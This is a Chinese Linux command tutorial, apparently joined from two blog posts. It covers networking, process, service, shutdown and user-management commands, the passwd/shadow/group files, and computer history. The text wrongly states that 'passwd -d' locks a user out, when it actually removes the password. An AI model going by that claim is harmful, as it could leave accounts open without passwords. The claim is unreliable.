12345678命令名称:ping命令路径:/bin/ping执行权限:所有用户语法:ping 选项 ip地址 -c 指定发送次数 -b 后面加入广播地址,用于对整个网段进行探测 -s 字节:指定探测包的大小功能描述:测试网络连通性 123root@localhost test]# ping 192.168.2.156 #测试到主机的连通性,按Ctrl+C后结束测试root@localhost test]# ping -c 3 192.168.111.1 #指定ping的次数root@localhost test]# ping -b -c 3 192.168.111.255 #探测网段可用主机 5. ss命令在CentOS7,可以通过ss命令取代netstat命令. 12345678910命令名称:ss命令路径:/usr/sbin/ss执行权限:超级用户语法:ss 选项 -a:列出所有网络状态,包括Socket程序 -n:使用IP地址和端口号显示,不使用域名和服务名 -p:显示PID和程序名 -t:显示TCP端口的连接状态 -u:显示UDP端口的连接状态功能描述:查询网络访问 123456root@localhost test]# ss -an #查看本机所有的网络连接,包括Scoket程序连接,TCP连接,UDP连接root@localhost test]# ss -tuln #查询本机开启的端口,tu代表查看TCP和UDP连接,l代表查看监听状态,n代表用IP和端口号显示.root@localhost test]# ss -tuan ##查看本机开启的端口与正在进行的连接## -a 代表所有内容,和-l选项的区别是,-a选项除了可以看到监听状态的端口,还可以查看正在连接的端口.如果只使用-an会列出大量的Scoket连接,干扰查看,使用-tuan可以只显示TCP和UDP的连接状态. 6. netstat命令1234567891011121314命令名称:netstat命令路径:/bin/netstat执行权限:所有用户语法:netstat [选项]功能描述:输出网络连接、路由器、接口统计、伪装连接和组播成员选项: -a: 列出所有网络状态,包括Socket程序 -c 秒数:指定每隔几秒刷新一次网络状态 -t: TCP协议 通过3次握手后连通 -u: UDP协议 不握手直接发送信息 -l: 显示监听状态的连接 -r: 路由表 -n: 显示IP地址和端口号,不使用域名与服务名 -p: 显示PID和程序名 端口的作用:在互联网中,如果IP地址是服务器在互联网中唯一的地址标识,那么想象一下,我有一台服务器,它有固定的公网IP地址,通过IP地址可以找到我的服务器.但是我的服务器中既启动了网页服务(WEB服务),又启动了文件传输服务(FTP服务),那么你的客户端访问我的服务器,到底应该如何确定你访问的是哪一个服务? 端口就是用于网络通信的接口,是传输层向上传递数据到应用层的通道.我们可以理解为每个常规服务都有默认的端口号,通过不同的端口号,就可以确定不同的服务.这样,互联网上的数据流就能准确地到达我们期望的服务,实现了不同服务之间的有效区分和协同工作. 123[root@localhost ~]# netstat -tuln ##查看本机开启的端口[root@localhost ~]# netstat -tulnp ##查看本机有哪些程序开启的端口[root@localhost ~]# netstat -an ##查看所有连接 7. lsof lsof(List Open Files)是一个用于显示系统中已打开文件的工具,包括网络套接字、设备文件等. 通过lsof命令,你可以查看哪些进程打开了哪些文件、套接字,以及它们所占用的资源情况. 基本语法lsof的基本语法是: 1lsof [option] [file | directory | process ID] option:用于指定一些选项,如-i用于显示网络连接. file | directory | process ID:可选参数,用于过滤显示的结果. 主要功能 显示打开文件的进程: lsof [file]:显示指定文件相关的进程信息. lsof [directory]:显示指定目录相关的进程信息. 网络连接查询: lsof -i:显示所有打开的网络连接和套接字信息. 按进程ID过滤: lsof -p [process ID]:显示特定进程ID打开的文件和套接字. 按用户过滤: lsof -u [username]:显示指定用户打开的文件和套接字. 例子和用法 显示所有打开文件的进程: 1lsof 显示指定文件相关的进程信息: 1lsof /path/to/file 显示网络连接和套接字信息: 1lsof -i 系统级别的操作 查找占用端口的进程: 1lsof -i :[port] 查看已删除的文件被哪个进程占用: 1lsof +L1 8. scp scp(Secure Copy Protocol)是一个用于在本地和远程系统之间安全地传输文件的命令行工具. scp通过SSH协议进行数据传输,提供加密和认证的安全性. 基本语法scp的基本语法是: 1scp [options] [source] [destination] options:可选参数,用于指定一些选项,如-r用于递归复制. source:源文件或目录的路径. destination:目标路径,可以是本地路径或远程主机路径. 主要功能 从本地到远程的复制: scp [source] [user@remote_host:destination] 从远程到本地的复制: scp [user@remote_host:source] [destination] 递归复制: scp -r [source_directory] [user@remote_host:destination_directory] 指定端口: scp -P [port] [source] [user@remote_host:destination] 例子和用法 从本地到远程的复制: 1scp file.txt root@192.168.64.123:/path/to/destination/ 从远程到本地的复制: 1scp root@192.168.64.123:/path/to/source/file.txt /local/destination/ 递归复制: 1scp -r folder root@192.168.64.123:/path/to/destination/ 注意事项 scp是基于SSH的,确保远程主机支持SSH. 当传输大量文件或文件夹时,使用-r选项以递归方式复制. 9. nmtui 命令名称: nmtui 命令路径: /usr/bin/nmtui 执行权限: root权限执行. 语法:nmtui 进程管理命令1. ps 查看进程信息 基本语法 ps [options] 主要功能 ps命令用于显示当前运行的进程信息. 通过不同的选项可以指定显示不同类型的进程信息. 例子和用法 显示所有用户的详细进程信息: 12345ps aux[root@localhost ~]# ps auxUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMANDroot 1 0.0 0.3 193688 6216 ? Ss 14:12 0:03 /usr/lib/systemd/systemd --switched-root --system --desroot 2 0.0 0.0 0 0 ? S 14:12 0:00 [kthreadd]root 4 0.0 0.0 0 0 ? S< 14:12 0:00 [kworker/0:0H] USER: 显示进程的拥有者,即运行进程的用户. PID: 进程ID,是每个进程的唯一标识符. %CPU: 进程占用CPU的百分比,表示进程在CPU上的利用率. %MEM: 进程占用内存的百分比,表示进程在物理内存上的利用率. VSZ: 进程的虚拟内存大小(以KB为单位),包括进程使用的所有虚拟内存. RSS: 进程使用的实际物理内存大小(以KB为单位),即驻留集大小. TTY: 与进程关联的终端类型,如果没有终端与之关联,则显示?. STAT: 进程状态,常见的包括: S(Sleeping): 进程休眠中. R(Running): 进程正在运行. D(Disk sleep): 进程不可中断的休眠. Z(Zombie): 僵尸进程,进程已经终止,但其父进程尚未回收其资源. START: 进程启动的时间,显示时钟时间或者日期. TIME: 进程占用CPU的累计时间,显示格式为分钟:秒. COMMAND: 启动进程的命令行. 查找特定进程的详细信息: 1ps aux | grep process_name 2. top 实时查看系统进程 基本语法top 主要功能 top命令提供了实时显示系统中运行的进程及其资源占用情况的功能. 以动态更新的方式展示进程列表和各项资源使用情况. 例子和用法实时显示运行中的进程列表和系统资源使用情况: 123456789101112toptop - 16:22:40 up 2:09, 2 users, load average: 0.00, 0.02, 0.05Tasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie%Cpu(s): 0.0 us, 0.2 sy, 0.0 ni, 99.8 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 stKiB Mem : 1863028 total, 131844 free, 496824 used, 1234360 buff/cacheKiB Swap: 2097148 total, 2095348 free, 1800 used. 1170648 avail Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 18724 root 20 0 0 0 0 S 1.0 0.0 0:00.07 kworker/1:2 705 root 20 0 21684 1296 992 S 0.7 0.1 0:01.40 irqbalance 419 root 20 0 0 0 0 S 0.3 0.0 0:12.38 xfsaild/dm-0 系统概况部分: top - 16:22:40 up 2:09, 2 users, load average: 0.00, 0.02, 0.05 16:22:40: 当前系统时间. up 2:09: 系统运行时间,2小时9分钟. 2 users: 当前登录的用户数. load average: 0.00, 0.02, 0.05: 系统负载,分别表示1分钟、5分钟和15分钟的负载平均值. 任务信息部分: Tasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie 116 total: 总任务数. 1 running: 正在运行的任务数. 115 sleeping: 休眠中的任务数. 0 stopped: 停止的任务数. 0 zombie: 僵尸任务数. CPU使用情况部分: %Cpu(s): 0.0 us, 0.2 sy, 0.0 ni, 99.8 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st %Cpu(s): CPU使用率. us: 用户空间占用CPU的百分比. sy: 内核空间占用CPU的百分比. ni: 用户进程以优先级调整过的时间. id: CPU空闲时间. wa: CPU等待I/O操作的时间. hi: CPU处理硬中断的时间. si: CPU处理软中断的时间. st: 被虚拟机偷取的时间. 内存使用情况部分: KiB Mem: 1863028 total, 131844 free, 496824 used, 1234360 buff/cache 1863028 total: 总内存大小. 131844 free: 空闲内存大小. 496824 used: 已使用内存大小. 1234360 buff/cache: 用作缓存的内存大小. KiB Swap: 2097148 total, 2095348 free, 1800 used. 1170648 avail Mem 2097148 total: 总交换空间大小. 2095348 free: 空闲交换空间大小. 1800 used: 已使用的交换空间大小. 1170648 avail Mem: 可用于分配的内存大小. 进程列表部分: PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND PID: 进程ID. USER: 进程所属用户. PR: 进程的优先级. NI: 进程的优先级值(负值表示高优先级,正值表示低优先级). VIRT: 进程使用的虚拟内存大小. RES: 进程使用的实际物理内存大小. SHR: 进程使用的共享内存大小. S: 进程状态(详见man top中的PROCESS STATES). %CPU: 进程占用CPU的百分比. %MEM: 进程占用内存的百分比. TIME+: 进程累计占用CPU的时间. COMMAND: 启动进程的命令行. 安全性和权限 top通常需要超级用户权限,或者用户拥有特定的权限组(如proc组). 注意事项 提供交互式界面,方便实时监控系统性能. 结合不同选项使用,可以按需查看各项资源使用情况. 3. Kill kill命令用于终止或向进程发送信号,是 Linux 系统中进程管理的重要工具.通过 kill 命令,用户可以控制和管理运行中的进程. 基本语法kill的基本语法如下: 1kill [options] <PID> options:可选参数,用于指定发送的信号类型等. <PID>:进程ID,表示要操作的目标进程. 主要功能 终止进程: kill 主要用于终止运行中的进程,通过向目标进程发送信号来实现. 例子和用法 向进程发送默认信号(SIGTERM): 1kill 1234 向进程发送指定信号(SIGKILL): 1kill -9 5678 系统级别的操作 终止指定进程: 1kill 1234 安全性和权限 kill命令需要执行用户对目标进程的操作权限,通常需要与目标进程拥有相同的用户权限. 注意事项 在终止进程时,使用不同的信号可能导致不同的行为,谨慎选择信号类型. 使用 -9 选项(SIGKILL)将强制终止目标进程,但可能导致数据丢失,应慎用. 系统管理1. Systemctl命令 systemctl是一个用于控制systemd系统和服务的命令行工具. systemd是现代Linux系统的初始化系统,负责启动和管理系统上运行的服务. systemctl命令可用于查看和控制服务、查看系统日志以及执行其他系统管理任务. 基本语法systemctl的基本语法是: 1systemctl [option] [command] [unit] option:用于指定一些全局选项. command:指定要执行的操作,如start、stop、restart等. unit:可选参数,指定服务或其他系统单元的名称. 主要功能 服务管理: start [unit]:启动服务. stop [unit]:停止服务. restart [unit]:重新启动服务. status [unit]:查看服务状态. enable [unit]:设置服务为开机自启. disable [unit]:禁止服务开机自启. 系统状态查询: journalctl:查看系统日志. list-units:显示当前活动的系统单元. analyze:查看系统加载时间和性能. 单元文件管理: list-unit-files:列出所有可用的单元文件. show [unit]:显示单个单元文件的详细信息. 例子和用法 启动和停止服务: 12systemctl start apache2systemctl stop apache2 查看服务状态: 1systemctl status apache2 查看系统日志: 1journalctl 2. Service service命令是用于在Unix-like操作系统中管理系统服务的脚本工具.它提供了一种简单的方式来启动、停止、重新启动和查询系统服务的状态. 基本语法service的基本语法是: 1service [option] serviceName [command] option:用于指定一些全局选项. serviceName:指定服务的名称. command:可选参数,指定要执行的操作,如start、stop、restart等. 主要功能 服务管理 start [serviceName]:启动服务. stop [serviceName]:停止服务. restart [serviceName]:重新启动服务. status [serviceName]:查看服务状态. enable [serviceName]:设置服务为开机自启. disable [serviceName]:禁止服务开机自启. 例子和用法 启动和停止服务: 12bashCopy codeservice apache2 startservice apache2 stop 查看服务状态: 12bashCopy codeservice apache2 status 重新启动服务: 12bashCopy codeservice apache2 restart 通过 service 命令,可以方便地管理系统服务的运行状态. 3. 关机重启命令 说到关机和重启,很多人认为,重要的服务器(比如银行的服务器、电信的服务器),如果重启了,则会造成大范围的灾难,其实,银行或电信服务器,也是需要维护,是依靠备份服务器来代替,如果你有自己的经验,则完全可以按照自己的经验来维护服务器. shutdown123456[root@localhost test]# shutdown [选项] 时间选项: -c:取消前一个关机命令 -h:关机 -r:重启 123456789101112[root@localhost test]# shutdown -h now #表示现在关机 [root@localhost test]# shutdown -h 20:00 #表示晚上8点关机 [root@localhost test]# shutdown -r 20:00 #表示晚上8点重启 [root@localhost test]# shutdown -c #表示取消关机命令 [root@localhost test]# shutdown +5 "System will shutdown after 5 minutes" #设定5分钟后关机,并发警告信息给登录用户 其他关机指令123[root@localhost test]# halt #直接关机[root@localhost test]# poweroff #相当于直接断电 [root@localhost test]# init 0 #修改运行级别为关机 其他重启命令12[root@localhost test]# reboot #重启 [root@localhost test]# init 6 #修改运行级别为重启 用户和用户组管理 **Linux系统**是一个**多用户多任务**的**分时操作系统**.用户在使用系统资源之前,需向系统管理员申请一个账号,并以此账号的身份进入系统.账号有助于系统管理员跟踪用户活动、控制他们对系统资源的访问,同时也帮助用户组织文件并提供安全性保护. 每个用户账号都有**唯一的用户名和相应的口令**.用户通过输入**正确的用户名和口令**进行登录,随后可以进入系统并访问自己的主目录.这种安排有助于实现对系统资源的合理管理和用户身份的认证. 实现用户账号的管理,要完成的工作主要有如下几个方面: 用户账号的添加、删除与修改. 用户口令的管理. 用户组的管理. 用户管理1. useradd12345678910111213141516命令名称:useradd命令路径:/usr/sbin/useradd执行权限:root语法:useradd 用户名功能描述:添加新用户 用户名不要弄的太复杂useradd [选项] [用户名]选项: -c comment 指定一段注释性描述. -d 目录 指定用户主目录,如果此目录不存在,则同时使用-m选项,可以创建主目录. -g 用户组 指定用户所属的用户组. -G 用户组,用户组 指定用户所属的附加组. -s Shell文件 指定用户的登录Shell. -u 用户号 指定用户的用户号,如果同时有-o选项,则可以重复使用其他用户的标识号.用户名:指定新账号的登录名. 12345678实例1[root@localhost ~]# useradd –d /home/sam -m sam此命令创建了一个用户sam,其中-d和-m选项用来为登录名sam产生一个主目录 /home/sam(/home为默认的用户主目录所在的父目录).实例2[root@localhost ~]# useradd -s /bin/sh -g group –G adm,root gem 此命令新建了一个用户gem,该用户的登录Shell是 /bin/sh,它属于group用户组,同时又属于adm和root用户组,其中group用户组是其主组.这里可能新建组:[root@localhost ~]#groupadd group及groupadd adm 增加用户账号就是在/etc/passwd文件中为新用户增加一条记录,同时更新其他系统文件如/etc/shadow, /etc/group等. Linux提供了集成的系统管理工具userconf,它可以用来对用户账号进行统一管理. 2. userdel如果一个用户的账号不再使用,可以从系统中删除.删除用户账号就是要将/etc/passwd等系统文件中的该用户记录删除,必要时还删除用户的主目录.删除一个已有的用户账号使用userdel命令,其格式如下: 12345userdel [选项] [用户名]常用的选项是 -r,它的作用是把用户的主目录一起删除.例如:[root@localhost ~]# userdel -r sam 此命令删除用户sam在系统文件中(主要是/etc/passwd, /etc/shadow, /etc/group等)的记录,同时删除用户的主目录. 3. usermod修改用户账号就是根据实际情况更改用户的有关属性,如用户号、主目录、用户组、登录Shell等.修改已有用户的信息使用usermod命令,其格式如下: 123456usermod [选项] [用户名]常用的选项包括-c, -d, -m, -g, -G, -s, -u以及-o等,这些选项的意义与useradd命令中的选项一样,可以为用户指定新的资源值.另外,有些系统可以使用选项:-l 新用户名这个选项指定一个新的账号,即将原来的用户名改为新的用户名.例如:[root@localhost ~]# usermod -s /bin/ksh -d /home/z –g developer sam此命令将用户sam的登录Shell修改为ksh,主目录改为/home/z,用户组改为developer. 4. passwd用户管理的一项重要内容是用户口令的管理.用户账号刚创建时没有口令,但是被系统锁定,无法使用,必须为其指定口令后才可以使用,即使是指定空口令.指定和修改用户口令的Shell命令是passwd.超级用户可以为自己和其他用户指定口令,普通用户只能用它修改自己的口令. 1234567891011121314命令名称:passwd命令路径:/usr/bin/passwd执行权限:所有用户语法:passwd 用户名功能描述:设置用户密码 命令的格式为:passwd [选项] [用户名]选项:-l 锁定口令,即禁用账号.-u 口令解锁.-d 使账号无口令.-f 强迫用户下次登录时修改口令.如果默认用户名,则修改当前用户的口令. 1234567891011案例假设当前用户是sam,则下面的命令修改该用户自己的口令:[root@localhost ~]$ passwd Old password:****** New password:******* Re-enter new password:******* 如果是超级用户,可以用下列形式指定任何用户的口令: [root@localhost ~]# passwd sam New password:******* Re-enter new password:******* ##注意:普通用户只能修改自己的密码,且必须符合复杂度的要求.密码规则:最少8位,大小写字母,数字符号组合 为了系统安全起见,用户应该选择比较复杂的口令,例如最好使用8位长的口令,口令中包含有大写、小写字母和数字,并且应该与姓名、生日等不相同。 为用户指定空口令时,执行下列形式的命令 12[root@localhost ~]# passwd -d sam 此命令将用户 sam 的口令删除,这样用户 sam 下一次登录时,系统就不再允许该用户登录了 . passwd命令还可以用 -l(lock) 选项锁定某一用户 ,使其不能登录 1[root@localhost ~]# passwd -l sam 5. who1234567891011命令名称:who命令路径:/usr/bin/who执行权限:所有用户语法:who功能描述:查看当前登录用户信息 [root@localhost test]# who root pts/1 2021-12-07 14:14 (192.168.47.1) 解释:登录用户名 终端终端 tty本地终端 / pts远程终端 登录时间 IP地址 6. whoami12345678命令名称:whoami命令路径:/usr/bin/whoami执行权限:所有用户语法:whoami功能描述:显示当前登录用户的用户名.该命令用于查询当前登录到系统的用户的用户名,并将其显示在终端上.不需要任何参数,仅输入 whoami 即可获取当前用户的身份信息.这对于确认当前用户身份在进行操作时非常有用. 7. id1234567891011121314151617181920命令名称:id命令路径:/usr/bin/id执行权限:所有用户语法:id [选项] [用户名]功能描述:显示用户或组的身份标识.主要选项:-u:显示用户ID.-g:显示用户所属的组ID.-G:显示用户所属的所有组ID.-n:以名称而非数字形式显示ID.-r:显示实际用户ID.示例:id:显示当前用户的用户ID、组ID及所属的所有组ID.id -u:仅显示当前用户的用户ID.id -g:仅显示当前用户所属的组ID.id -G:显示当前用户所属的所有组ID.id -n:以名称形式显示用户和组的ID.id -r:显示实际用户ID. 8. su12345678910111213141516171819命令名称:su命令路径:/bin/su执行权限:所有用户语法:su [选项] [用户]功能描述:切换用户身份.主要选项:-:切换到目标用户的环境,包括工作目录和环境变量.-c command:执行完指定命令后,切回原用户.-l 或 --login:切换到目标用户的环境.-m 或 --preserve-environment:不修改环境变量.-s shell:指定要使用的shell.示例:su:切换到超级用户(root).su -:切换到超级用户的环境.su -l username:切换到指定用户的环境.su -c "command":以指定用户执行命令.su -s /bin/bash:切换到指定shell. 用户组管理每个用户都有一个用户组,系统可以对一个用户组中的所有用户进行集中管理.不同Linux 系统对用户组的规定有所不同,如Linux下的用户属于与它同名的用户组,这个用户组在创建用户时同时创建.用户组的管理涉及用户组的添加、删除和修改.组的增加、删除和修改实际上就是对/etc/group文件的更新. 1. groupadd12345其格式如下: groupadd [选项] [用户组] 选项: -g GID 指定新用户组的组标识号(GID). -o 一般与-g选项同时使用,表示新用户组的GID可以与系统已有用户组的GID相同. 123456范例1:[root@localhost ~]# groupadd group1 此命令向系统中增加了一个新组group1,新组的组标识号是在当前已有的最大组标识号的基础上加1.范例2:[root@localhost ~]# groupadd -g 101 group2 此命令向系统中增加了一个新组group2,同时指定新组的组标识号是101. 2. groupdel123456其格式如下:groupdel [用户组]范例:[root@localhost ~]# groupdel group1此命令从系统中删除组group1. 3. groupmod12345678910111213其语法如下:groupmod [选项] [用户组]选项:-g GID 为用户组指定新的组标识号.-o 与-g选项同时使用,用户组的新GID可以与系统已有用户组的GID相同.-n新用户组 将用户组的名字改为新名字范例1:[root@localhost ~]# groupmod -g 102 group2此命令将组group2的组标识号修改为102.范例2:[root@localhost ~]# groupmod –g 10000 -n group3 group2此命令将组group2的标识号改为10000,组名修改为group3. 4. newgrp一个用户同时属于多个用户组,那么用户可以在用户组之间切换,以便具有其他用户组的权限.用户可以在登录后,使用命令newgrp切换到其他用户组,这个命令的参数就是目的用户组.例如: 12[root@localhost ~]$ newgrp root 这条命令将当前用户切换到root用户组,前提条件是root用户组确实是该用户的主组或附加组.类似于用户账号的管理,用户组的管理也可以通过集成的系统管理工具来完成. 与用户账号有关的系统文件完成用户管理的工作有多种方法,但每一种方法实际上都涉及对相关的系统文件进行修改.与用户和用户组相关的信息存放在一些系统文件中,其中包括 /etc/passwd、/etc/shadow、/etc/group等.接下来将分别介绍这些文件的内容. 1. /etc/passwd文件/etc/passwd 文件是用户管理工作中涉及的最重要的文件之一.每个用户在Linux系统中都有一个对应的记录行,该行包含了用户的基本属性.这个文件对所有用户都是可读的,而其内容则类似于下面的例子: 123456789101112[root@localhost ~]# cat /etc/passwd root:x:0:0:Superuser:/:daemon:x:1:1:System daemons:/etc:bin:x:2:2:Owner of system commands:/bin:sys:x:3:3:Owner of system files:/usr/sys:adm:x:4:4:System accounting:/usr/adm:uucp:x:5:5:UUCP administrator:/usr/lib/uucp:auth:x:7:21:Authentication administrator:/tcb/files/auth:cron:x:9:16:Cron daemon:/usr/spool/cron:listen:x:37:4:Network daemon:/usr/net/nls:lp:x:71:18:Printer administrator:/usr/spool/lp:sam:x:200:50:Sam san:/home/sam:/bin/sh 每个字段的含义: 用户名 (john): 用户的登录名. 密码占位符 (x): 在过去,密码是存储在这里的,现在通常被放置在 /etc/shadow 文件中. 用户ID (1000): 用户的唯一标识符. 组ID (1000): 用户所属的主要用户组的标识符. 用户描述 (John Doe): 一般是用户的真实姓名或其他描述性信息. 用户家目录 (/home/john): 用户的主目录,登录时的初始工作目录. 登录Shell (/bin/bash): 用户登录时启动的Shell. 通过修改这个文件中的记录,可以更改用户的属性,但需要小心,因为直接编辑可能会导致系统不稳定.通常,用户和组的管理最好使用专门的命令工具,如useradd、userdel、usermod等. 伪用户(PseudoUsers) 在系统中,存在一类称为伪用户(pseudo users)的特殊用户.虽然它们在 /etc/passwd 文件中有一条记录,但由于其登录Shell为空,因此这些用户无法进行登录.它们的存在主要为了方便系统管理,并满足系统进程对文件属主的特定要求. 常见的伪用户及其含义: bin: 拥有可执行的用户命令文件. sys: 拥有系统文件. adm: 拥有帐户文件. uucp: 用于UUCP(Unix to Unix Copy)通信协议. lp: 用于lp或lpd子系统,负责打印服务. nobody: 用于NFS(Network File System)服务,通常用于执行不涉及安全问题的服务. 2. /etc/shadow 伪用户和安全性 除了之前提到的标准伪用户(如bin、sys、adm等),Linux系统还包含许多其他伪用户,如audit、cron、mail、usenet等.这些伪用户与系统中相关的进程和文件密切相关. 口令文件的安全性 用户口令在 /etc/passwd 文件中可读,因此如果密码简单或者规律性强,存在被破解的风险.为提高安全性,Linux系统将加密后的口令分离存储在独立文件中,即 /etc/shadow 文件.该文件只有超级用户有读权限,确保了用户密码的安全性. /etc/shadow 文件中的记录行与 /etc/passwd 中的用户一一对应,由 pwconv 命令根据 /etc/passwd 中的数据自动生成.记录行包含以下字段: 登录名: 与 /etc/passwd 中的登录名一致. 加密口令: 存放加密后的用户口令. 最后一次修改时间: 用户最后一次修改口令时的天数. 最小时间间隔: 两次修改口令之间所需的最小天数. 最大时间间隔: 口令保持有效的最大天数. 警告时间: 从系统开始警告用户到口令失效之间的天数. 不活动时间: 用户没有登录活动但账号仍能保持有效的最大天数. 失效时间: 给出账号的生存期,期满后账号不再合法. 这样的分离增强了系统的安全性,防止直接读取口令文件导致的安全问题. 下面是/etc/shadow的一个例子: 12345678910111213[root@localhost ~]# cat /etc/shadowroot:Dnakfw28zf38w:8764:0:168:7:::daemon:*::0:0::::bin:*::0:0::::sys:*::0:0::::adm:*::0:0::::uucp:*::0:0::::nuucp:*::0:0::::auth:*::0:0::::cron:*::0:0::::listen:*::0:0::::lp:*::0:0::::sam:EkdiSECLWPdSa:9740:0:0:::: 3. /etc/group用户组信息存储在/etc/group文件中.在Linux系统中,将用户分组是对用户进行管理和控制访问权限的一种方式.每个用户属于一个主组,并可以属于多个附加组.用户要访问属于附加组的文件时,需要使用newgrp命令成为所要访问组的成员. /etc/group文件的格式与/etc/passwd类似,由冒号(:)隔开若干字段,包括: 组名: 用户组的名称,由字母或数字构成,不应重复. 口令: 用户组加密后的口令字,一般为空. 组标识号: 用于系统内部标识组的整数. 组内用户列表: 属于这个组的所有用户,用逗号(,)分隔,可能是主组或附加组. 以下是/etc/group文件的示例: 1234567root::0:rootbin::2:root,binsys::3:root,uucpadm::4:root,admdaemon::5:root,daemonlp::7:root,lpusers::20:root,sam","tags":["Centos","Linux","计算机基础"]},{"title":"一. 计算机基础知识","path":"/2020/06/01/f5d15284/","content":"总字符数: 15.38K 代码: 0.40K, 文本: 9.31K 预计阅读时间: 42 分钟 计算机基础计算机发展历史 1946年第一台电子数字计算机ENIAC由美国宾夕法尼亚大学研制成功. 它是一个庞然大物,共有18000个电子管、 1500个继电器,耗电150kw,重量30t,占地170平方米,运算速度为每秒5000次加法或400次乘法.它的诞生在人类文明史上具有划时代的意义,奠定了计算机的发展基础,成为计算机发展史上的一个重要里程碑,开辟了计算机科学的新纪元. 从第一台计算机诞生至今已有70多年的时间,计算机的基本构成元件经历了电子管、晶体管、集成电路、大规模集成电路和超大规模集成电路4个发展时代. 第一代 电子管计算机第一代计算机(1946–1957年)使用电子管作为主要电子元件,其主要特点是体积大、耗电多、重量重、性能低,且成本很高. 第一代电子计算机以电子管(真空管)为主要电路元件. 世界上第一台电子计算机是个庞然大物:重30余吨,占地约170平方米,肚子里装有18000只电子管.它是1946年2月14日,在美国宾夕法尼亚大学诞生的. 这一代计算机的主要标志时: 确立了模拟量可以变换成数字量进行计算,开创了数字化技术的新时代; 形成了电子数字计算的基本结构,即冯·诺依曼结构; 确定了程序设计的基本方法,采用机器语言和汇编语言编程; 首次使用阴极射线管CRT作为计算机的字符显示器. 第二代 晶体管计算机​\t采用晶体管制造的电子计算机.国外第二代电子[计算机]的生存期大约是1957–1964年.其软件开始使用面向过程的程序设计语言, 中国第一台晶体管计算机于1967年制成,运算速度为每秒五万次. 重量轻、寿命长、效率高、发热少、功耗低等优点.使用了晶体管以后,电子线路的结构大大改观,制造高速电子计 算机的设想也就更容易实现了. 1954年,美国贝尔实验室研制成功第一台使用晶体管线路的计算机,取名”催迪克”(TRADIC),装有800个晶体 管.1955年,美国在阿塔拉斯洲际导弹上装备了以晶体管为主要元件的小型计算机.10年以后,在美国生产的同一 型号的导弹中,由于改用集成电路元件,重量只有原来的1/100,体积与功耗减少到原来的1/300. 这一代计算机的主要标志是: 开创了计算机处理文字和图形的新阶段; 系统软件出现了监控程序,提出了操作系统的概念; 高级语言已投入使用; 开始有了通用机和专用机之分; 开始使用鼠标. 第三代 中小规模集成电路计算机第三代计算机(1965–1970年)使用小规模集成电路(SSIC)和中规模集成电路(MSIC)作为主要电子元件,其性能和稳 定性进一步提高. 这一代计算机的主要标志是: 运算速度已达到每秒100万次以上; 操作系统更加完善,出现分时操作系统; 出现结构化程序设计方法,为复杂软件提供了技术支持; 序列机的推出,较好地解决了”硬件不断更新,而软件相对稳定”的矛盾; 机器可根据其性能分成巨型机、大型机、中型机和小型机. 第四代 大规模和超大规模集成电路计算机第四代计算机(1971年至今)采用大规模集成电路(LSIC)和超大规模集成电路(VLSIC)作为主要电子元件,使得计算机日益小型化和微型化. 这一代计算机的主要标志是: 操作系统不断完善,应用软件的开发成为现代化工业的一部分; 计算机应用和更新的速度更加迅猛,产品覆盖各类机型; 计算机的发展进入了以计算机网络为特征的时代. 微型计算机,第四代计算机的代表,自1971年Intel推出4004微处理器以来,硬件技术的进步极大地推动了计算机的发展.随着字长从4位增加到64位,以及处理速度和存储容量的大幅提升,微型计算机的性能不断超越,尤其是在1980年代达到发展高峰. 计算机技术的进步表现在多个方向,如微型化、网络化和智能化等.计算机的核心功能是接受用户指令,并通过CPU进行计算处理,以产生或存储信息.这需要计算机的主要组件,包括输入单元(键盘、鼠标)、CPU(含算术逻辑单元、控制单元、存储单元)和输出单元(显示屏、打印机).这些组件通过主机板相连,形成一个完整的系统.计算机使用二进制进行运算,记忆和存储单位是字节和比特,按照1字节等于8比特,以及KB、MB、GB、TB等递增关系来计量. 不同类型的计算机服务于不同的应用需求: 超级计算机:提供最快的运算速度,用于国防、气象预测和科学模拟等领域. 大型计算机:处理大量数据和复杂运算,适用于大型企业主机和交易所. 迷你计算机:支持多用户,用于科学研究、工程分析和工厂管理等. 微电脑或个人计算机:小巧、经济,功能完备,包括台式机和笔记本等,广泛应用于个人和商业领域. 尽管个人计算机在1990年以前由于运算速度和有限的操作系统支持而受限,但其后的普及和技术进展已经使得它们成为日常生活和工作中不可或缺的工具. 信息与信息技术 信息与数据 信息是在自然界、人类社会和人类思维活动中普遍存在的一切物质和事物的属性 数据:是指存储在某种媒体上可以加以鉴别的符号资料,数据是信息的具体表现形式,是信息的载体,信息的符号化就是数据.信息是对数据进行加工得到的结果,他可以影响到人们的行为,决策,或对客观事物的认知 信息社会也称信息化社会,是继工业化社会以后,以信息活动为社会发展的基本活动的新型社会形态 信息技术是指人们获取、存储、传递、处理、开发和利用信息资源的相关技术 操作系统 计算机系统是指按用户的要求,接收和存储信息、自动进行数据处理并输出结果信息的系统,它由硬件子系统(计算机系统赖以工作的实体,包括显示屏、键盘、鼠标、硬盘等)和软件子系统(保证计算机系统按用户指定的要求协调工作,如Windows操作系统、office办公软件等)组成. 操作系统(OS)是计算机软件架构的基础部分,提供硬件与其他软件之间的接口,类似于餐桌为餐具提供摆放的平台.它具有以下核心功能: 资源管理:控制和管理计算机硬件资源,包括CPU、内存和存储设备,并根据需求优先分配系统资源. 文件系统:提供数据组织管理的结构,以目录层级组织存储在内部硬盘的文件. 设备驱动:为每个硬件设备提供接口,允许软件与硬件交互而无需了解硬件的具体操作细节. 用户接口:提供用户运行程序和访问文件的方法,例如Windows的图形界面或智能手机的Android或iOS系统. 系统服务程序:在计算机启动时运行,执行任务如安装文件系统、启动网络服务等. 操作系统是用户与计算机系统硬件传递信息的系统程序软件,是应用程序运行和用户操作的必备环境,确保了计算机系统的核心运作.无操作系统的计算机仿佛无用的砖头,而配备了操作系统的计算机则成为可功能丰富的工具.它负责管理计算机中的软件资源,如应用软件的安装和运行环境设置,并处理输入、输出任务,网络管理及文件系统操作. 下图给出了操作系统与计算机硬件、软件之间的关系示意图. 计算机上比较常见的操作系统有Windows、Linux、DOS、Unix等.Mac OS是苹果电脑Macintosh机器的专用操作系统,从本质上将,Mac OS 也是UNIX的一个变体. 目前流行的服务器和PC端操作系统有Linux、Windows、UNIX等. 计算机工作原理数据的表示方式,使用二进制0和1表示数据. 